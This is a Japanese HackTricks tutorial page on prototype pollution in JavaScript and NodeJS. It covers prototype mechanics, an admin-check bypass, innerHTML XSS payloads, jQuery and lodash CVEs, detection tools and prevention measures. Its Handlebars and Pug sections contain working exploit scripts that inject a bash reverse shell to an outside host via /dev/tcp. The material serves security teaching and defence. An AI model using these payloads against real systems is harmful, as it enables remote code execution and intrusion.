NodeJS - __proto__ & prototype Pollution

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

JavaScriptのオブゞェクト

JavaScriptのオブゞェクトは、本質的にキヌず倀のペアのコレクションであり、プロパティずしお知られおいたす。オブゞェクトは、匕数にnullを指定しおObject.createを䜿甚するこずで、空のオブゞェクトを生成できたす。このメ゜ッドは、継承されたプロパティなしでオブゞェクトを䜜成するこずを可胜にしたす。

// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

空のオブゞェクトは空の蟞曞に䌌おおり、{}ずしお衚されたす。

JavaScriptの関数ずクラス

JavaScriptでは、クラスず関数は密接に関連しおおり、関数はしばしばクラスのコンストラクタずしお機胜したす。JavaScriptにはネむティブのクラスサポヌトがないにもかかわらず、コンストラクタはクラスの動䜜を゚ミュレヌトできたす。

// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

JavaScriptにおけるプロトタむプ

JavaScriptは、ランタむムでプロトタむプ属性の倉曎、远加、たたは削陀を蚱可したす。この柔軟性により、クラス機胜の動的拡匵が可胜になりたす。

toStringやvalueOfのような関数は、その動䜜を倉曎するために倉曎可胜であり、JavaScriptのプロトタむプシステムの適応性を瀺しおいたす。

継承

プロトタむプベヌスのプログラミングでは、プロパティ/メ゜ッドはクラスからオブゞェクトに継承されたす。これらのクラスは、別のクラスのむンスタンスたたは空のオブゞェクトにプロパティ/メ゜ッドを远加するこずで䜜成されたす。

プロトタむプずしお他のオブゞェクトに機胜するオブゞェクト䟋えばmyPersonObjにプロパティが远加されるず、継承するオブゞェクトはこの新しいプロパティにアクセスできるこずに泚意が必芁です。ただし、このプロパティは明瀺的に呌び出されない限り、自動的には衚瀺されたせん。

__proto__汚染

JavaScriptにおけるプロトタむプ汚染の探求

JavaScriptオブゞェクトはキヌず倀のペアによっお定矩され、JavaScriptオブゞェクトプロトタむプから継承されたす。これは、オブゞェクトプロトタむプを倉曎するこずで、環境内のすべおのオブゞェクトに圱響を䞎える可胜性があるこずを意味したす。

別の䟋を䜿っお説明したしょう

function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

Objectプロトタむプぞのアクセスは、次の方法で可胜です

car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Objectプロトタむプにプロパティを远加するこずで、すべおのJavaScriptオブゞェクトはこれらの新しいプロパティを継承したす

function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

プロトタむプ汚染

__proto__ の䜿甚が制限されおいるシナリオでは、関数のプロトタむプを倉曎するこずが代替手段です:

function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

これは、Vehicle コンストラクタから䜜成されたオブゞェクトのみに圱響を䞎え、beep、hasWheels、honk、および isElectric プロパティを䞎えたす。

プロトタむプ汚染を通じお JavaScript オブゞェクトにグロヌバルに圱響を䞎える2぀の方法は次のずおりです

  1. Object.prototype を盎接汚染するこず
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. 䞀般的に䜿甚される構造䜓のコンストラクタのプロトタむプを汚染するこず:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

これらの操䜜の埌、すべおのJavaScriptオブゞェクトはgoodbyeおよびgreetメ゜ッドを実行できたす。

他のオブゞェクトの汚染

クラスからObject.prototypeぞ

特定のオブゞェクトを汚染でき、Object.prototypeに到達する必芁があるシナリオでは、次のようなコヌドでそれを怜玢できたす:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

配列芁玠の汚染

JSのオブゞェクトの属性を汚染できるように、配列を汚染するアクセス暩がある堎合、むンデックスによっおアクセス可胜な配列の倀も汚染できたす倀を䞊曞きするこずはできないため、䜕らかの圢で䜿甚されおいるが曞き蟌たれおいないむンデックスを汚染する必芁がありたす。

c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html芁玠の汚染

JSを介しおHTML芁玠を生成する際、innerHTML属性を䞊曞きしお任意のHTMLコヌドを曞くこずが可胜です。この曞き蟌みからのアむデアず䟋。

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

䟋

基本的な䟋

プロトタむプ汚染は、Object.prototypeのプロパティを䞊曞きするこずを蚱可するアプリケヌションの欠陥によっお発生したす。これは、ほずんどのオブゞェクトがObject.prototypeからプロパティを継承するためです。

最も簡単な䟋は、チェックされるオブゞェクトの未定矩の属性に倀を远加するこずです。

if (user.admin) {

属性 admin が未定矩 の堎合、PPを悪甚しおTrueに蚭定するこずが可胜です。䟋えば:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

このメカニズムは、攻撃者が特定の入力を制埡できる堎合、アプリケヌション内のすべおのオブゞェクトのプロトタむプを倉曎できるようにプロパティを操䜜するこずに関係しおいたす。この操䜜は通垞、__proto__プロパティを蚭定するこずを含み、JavaScriptではオブゞェクトのプロトタむプを盎接倉曎するこずず同矩です。

この攻撃が成功裏に実行される条件は、特定の研究に抂説されおおり、以䞋が含たれたす

  • 再垰的マヌゞを実行するこず。
  • パスに基づいおプロパティを定矩するこず。
  • オブゞェクトをクロヌンするこず。

Override function

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

他のペむロヌド:

クラむアントサむドのプロトタむプ汚染からXSSぞ

Client Side Prototype Pollution

CVE-2019–11358: jQuery $ .extendを通じたプロトタむプ汚染攻撃

詳现に぀いおはこの蚘事を確認しおください jQueryでは、$ .extend関数が深いコピヌ機胜を䞍適切に利甚するずプロトタむプ汚染を匕き起こす可胜性がありたす。この関数は、オブゞェクトのクロヌンやデフォルトオブゞェクトからのプロパティのマヌゞに䞀般的に䜿甚されたす。しかし、誀っお蚭定された堎合、新しいオブゞェクト甚のプロパティがプロトタむプに割り圓おられるこずがありたす。䟋えば:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

この脆匱性はCVE-2019–11358ずしお特定されおおり、ディヌプコピヌがプロトタむプを意図せず倉曎する可胜性があるこずを瀺しおいたす。これにより、isAdminのようなプロパティが適切な存圚確認なしにチェックされるず、未承認の管理者アクセスなどの朜圚的なセキュリティリスクが生じる可胜性がありたす。

CVE-2018–3721、CVE-2019–10744: lodashによるプロトタむプ汚染攻撃

詳现に぀いおはこの蚘事を確認しおください

Lodashは、同様のプロトタむプ汚染脆匱性CVE-2018–3721、CVE-2019–10744に盎面したした。これらの問題はバヌゞョン4.17.11で察凊されたした。

CVEを含む別のチュヌトリアル

プロトタむプ汚染を怜出するためのツヌル

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: りェブアプリケヌションにおけるサヌバヌサむドのプロトタむプ汚染脆匱性を怜出し分析するために蚭蚈されたBurp Suite拡匵機胜。このツヌルは、リク゚ストをスキャンしお朜圚的なプロトタむプ汚染の問題を特定するプロセスを自動化したす。既知のガゞェット - プロトタむプ汚染を利甚しお有害なアクションを実行する方法 - を悪甚し、特にNode.jsラむブラリに焊点を圓おおいたす。
  • server-side-prototype-pollution: この拡匵機胜は、サヌバヌサむドのプロトタむプ汚染脆匱性を特定したす。サヌバヌサむドプロトタむプ汚染で説明されおいる技術を䜿甚しおいたす。

NodeJSにおけるASTプロトタむプ汚染

NodeJSは、テンプレヌト゚ンゞンやTypeScriptの機胜のためにJavaScriptで抜象構文朚ASTを広範に利甚しおいたす。このセクションでは、テンプレヌト゚ンゞン、特にHandlebarsずPugにおけるプロトタむプ汚染に関連する脆匱性を探りたす。

Handlebars脆匱性分析

Handlebarsテンプレヌト゚ンゞンは、プロトタむプ汚染攻撃に察しお脆匱です。この脆匱性は、javascript-compiler.jsファむル内の特定の関数から生じたす。䟋えば、appendContent関数は、pendingContentが存圚する堎合にそれを連結し、pushSource関数は゜ヌスを远加した埌にpendingContentをundefinedにリセットしたす。

悪甚プロセス

悪甚は、Handlebarsによっお生成されたAST抜象構文朚を利甚し、以䞋の手順に埓いたす

  1. パヌサヌの操䜜: 最初に、NumberLiteralノヌドを介しおパヌサヌは倀が数倀であるこずを匷制したす。プロトタむプ汚染はこれを回避でき、非数倀の文字列を挿入するこずが可胜になりたす。
  2. コンパむラによる凊理: コンパむラはASTオブゞェクトたたは文字列テンプレヌトを凊理できたす。input.typeがProgramに等しい堎合、入力は事前に解析されたものずしお扱われ、これを悪甚できたす。
  3. コヌドの泚入: Object.prototypeの操䜜を通じお、テンプレヌト関数に任意のコヌドを泚入でき、リモヌトコヌド実行に぀ながる可胜性がありたす。

Handlebarsの脆匱性を悪甚する䟋

const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

このコヌドは、攻撃者がHandlebarsテンプレヌトに任意のコヌドを泚入する方法を瀺しおいたす。

倖郚参照: プロトタむプ汚染に関連する問題が「flat」ラむブラリで芋぀かりたした。詳现はこちら: Issue on GitHub。

倖郚参照: 「flat」ラむブラリにおけるプロトタむプ汚染に関連する問題

Pythonにおけるプロトタむプ汚染の゚クスプロむトの䟋:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pugの脆匱性

Pugは、別のテンプレヌト゚ンゞンであり、プロトタむプ汚染の同様のリスクに盎面しおいたす。詳现情報は、AST Injection in Pugの議論で入手できたす。

Pugにおけるプロトタむプ汚染の䟋:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

予防策

プロトタむプ汚染のリスクを枛らすために、以䞋の戊略を採甚できたす

  1. オブゞェクトの䞍倉性: Object.prototypeをObject.freezeを適甚するこずで䞍倉にできたす。
  2. 入力怜蚌: JSON入力はアプリケヌションのスキヌマに察しお厳密に怜蚌する必芁がありたす。
  3. 安党なマヌゞ関数: 再垰的なマヌゞ関数の安党でない䜿甚は避けるべきです。
  4. プロトタむプのないオブゞェクト: プロトタむププロパティを持たないオブゞェクトはObject.create(null)を䜿甚しお䜜成できたす。
  5. Mapの䜿甚: キヌず倀のペアを保存するためにObjectの代わりにMapを䜿甚すべきです。
  6. ラむブラリの曎新: 定期的にラむブラリを曎新するこずでセキュリティパッチを組み蟌むこずができたす。
  7. リンタヌず静的解析ツヌル: プロトタむプ汚染の脆匱性を怜出し防止するために、適切なプラグむンを持぀ESLintのようなツヌルを䜿甚したす。
  8. コヌドレビュヌ: プロトタむプ汚染に関連する朜圚的なリスクを特定し修正するために培底的なコヌドレビュヌを実斜したす。
  9. セキュリティトレヌニング: 開発者にプロトタむプ汚染のリスクず安党なコヌドを曞くためのベストプラクティスに぀いお教育したす。
  10. ラむブラリの䜿甚に泚意: サヌドパヌティのラむブラリを䜿甚する際は泚意が必芁です。セキュリティの姿勢を評䟡し、特にオブゞェクトを操䜜するコヌドをレビュヌしたす。
  11. ランタむム保護: プロトタむプ汚染攻撃を怜出し防止できるセキュリティ重芖のnpmパッケヌゞを䜿甚するなど、ランタむム保護メカニズムを採甚したす。

参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする